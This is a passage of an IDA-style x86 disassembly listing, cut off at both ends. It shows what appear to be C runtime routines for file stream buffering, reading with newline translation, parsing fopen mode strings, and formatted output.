		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD040[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4D0


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD140
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD040h[eax*4]
		mov	eax, dword_4DD040[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_4270EC	; ReadFile
		test	eax, eax
		jnz	short loc_41FA84
		call	dword_427094	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4270EC	; ReadFile
		test	eax, eax
		jnz	short loc_41FB25
		call	dword_427094	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE44
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFB0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFAC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD3D	proc near		; CODE XREF: sub_41BE82p
		mov	edx, dword_4DD020
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FDAE
		mov	ebx, dword_4DC01C
		mov	edi, ebx


loc_41FD59:				; CODE XREF: sub_41FD3D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41FD74
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41FD6F
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41FD59
		jmp	short loc_41FDAE
; ---------------------------------------------------------------------------


loc_41FD6F:				; CODE XREF: sub_41FD3D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41FD98
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FD3D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BEB5
		pop	ecx
		mov	ecx, dword_4DC01C
		mov	[edi+ecx], eax
		mov	eax, dword_4DC01C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41FDAE
		mov	esi, edi


loc_41FD98:				; CODE XREF: sub_41FD3D+35j
		cmp	esi, ebp
		jz	short loc_41FDAE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41FDAE:				; CODE XREF: sub_41FD3D+12j
					; sub_41FD3D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41FD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB5	proc near		; CODE XREF: sub_41C0CE+17p
					; sub_41C0CE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41FDD3
		mov	ecx, off_43CE78
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41FE25
; ---------------------------------------------------------------------------


loc_41FDD3:				; CODE XREF: sub_41FDB5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43CE78
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41FDF8
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------


loc_41FDF8:				; CODE XREF: sub_41FDB5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41FE01:				; CODE XREF: sub_41FDB5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4244F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FE21
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FDB5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41FE25:				; CODE XREF: sub_41FDB5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41FDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE2A	proc near		; CODE XREF: sub_41C266+46p
					; sub_41C360+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41FF33
		test	al, 40h
		jnz	loc_41FF33
		test	al, 1
		jz	short loc_41FE62
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41FF33
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41FE62:				; CODE XREF: sub_41FE2A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41FE9C
		cmp	esi, offset dword_43D588
		jz	short loc_41FE8A
		cmp	esi, offset dword_43D5A8
		jnz	short loc_41FE95


loc_41FE8A:				; CODE XREF: sub_41FE2A+56j
		push	ebx
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jnz	short loc_41FE9C


loc_41FE95:				; CODE XREF: sub_41FE2A+5Ej
		push	esi
		call	sub_4241F7
		pop	ecx


loc_41FE9C:				; CODE XREF: sub_41FE2A+4Ej
					; sub_41FE2A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41FF09
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41FECC
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41FEFF
; ---------------------------------------------------------------------------


loc_41FECC:				; CODE XREF: sub_41FE2A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41FEE7
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41FEEC
; ---------------------------------------------------------------------------


loc_41FEE7:				; CODE XREF: sub_41FE2A+A5j
		mov	eax, offset dword_43D4D0


loc_41FEEC:				; CODE XREF: sub_41FE2A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41FEFF
		push	2
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch


loc_41FEFF:				; CODE XREF: sub_41FE2A+A0j
					; sub_41FE2A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------


loc_41FF09:				; CODE XREF: sub_41FE2A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41FF1D:				; CODE XREF: sub_41FE2A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41FF29
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41FF38
; ---------------------------------------------------------------------------


loc_41FF29:				; CODE XREF: sub_41FE2A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41FF3B
; ---------------------------------------------------------------------------


loc_41FF33:				; CODE XREF: sub_41FE2A+10j
					; sub_41FE2A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41FF38:				; CODE XREF: sub_41FE2A+FDj
		or	eax, 0FFFFFFFFh


loc_41FF3B:				; CODE XREF: sub_41FE2A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41FE2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF3F	proc near		; CODE XREF: sub_41C266+29p
					; sub_41C360+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_420658
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41FF73
; ---------------------------------------------------------------------------


loc_41FF6B:				; CODE XREF: sub_41FF3F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FF73:				; CODE XREF: sub_41FF3F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_420658
		cmp	bl, 20h
		jl	short loc_41FF94
		cmp	bl, 78h
		jg	short loc_41FF94
		movsx	eax, bl
		mov	al, [eax+42771Ch]
		and	eax, 0Fh
		jmp	short loc_41FF96
; ---------------------------------------------------------------------------


loc_41FF94:				; CODE XREF: sub_41FF3F+40j
					; sub_41FF3F+45j
		xor	eax, eax


loc_41FF96:				; CODE XREF: sub_41FF3F+53j
		movsx	eax, byte_42773C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_420647	; default
		jmp	off_420660[eax*4] ; switch jump


loc_41FFB4:				; DATA XREF: .packed:off_420660o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFCF:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 2
		sub	eax, 20h
		jz	short loc_420012
		sub	eax, 3
		jz	short loc_420009
		sub	eax, 8
		jz	short loc_420000
		dec	eax
		dec	eax
		jz	short loc_41FFF7
		sub	eax, 3
		jnz	loc_420647	; default
		or	[ebp+var_4], 8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_41FFF7:				; CODE XREF: sub_41FF3F+A4j
		or	[ebp+var_4], 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420000:				; CODE XREF: sub_41FF3F+A0j
		or	[ebp+var_4], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420009:				; CODE XREF: sub_41FF3F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FF3F+96j
		or	[ebp+var_4], 2
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42001B:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 3
		jnz	short loc_420043
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_420647	; default
		or	[ebp+var_4], 4
		neg	eax


loc_42003B:				; CODE XREF: sub_41FF3F+111j
		mov	[ebp+var_20], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420043:				; CODE XREF: sub_41FF3F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_42003B
; ---------------------------------------------------------------------------


loc_420052:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		mov	[ebp+var_10], edx ; jumptable 0041FFAD case 4
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42005A:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		cmp	bl, 2Ah		; jumptable 0041FFAD case 5
		jnz	short loc_42007D
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_420647	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42007D:				; CODE XREF: sub_41FF3F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_42008F:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		cmp	bl, 49h		; jumptable 0041FFAD case 6
		jz	short loc_4200C2
		cmp	bl, 68h
		jz	short loc_4200B9
		cmp	bl, 6Ch
		jz	short loc_4200B0
		cmp	bl, 77h
		jnz	loc_420647	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B0:				; CODE XREF: sub_41FF3F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_41FF3F+158j
		or	[ebp+var_4], 20h
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200C2:				; CODE XREF: sub_41FF3F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4200DB
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4200DB
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_4200DB:				; CODE XREF: sub_41FF3F+186j
					; sub_41FF3F+18Cj
		mov	[ebp+var_30], edx


loc_4200DE:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		mov	ecx, off_43CE78	; jumptable 0041FFAD case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42010A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
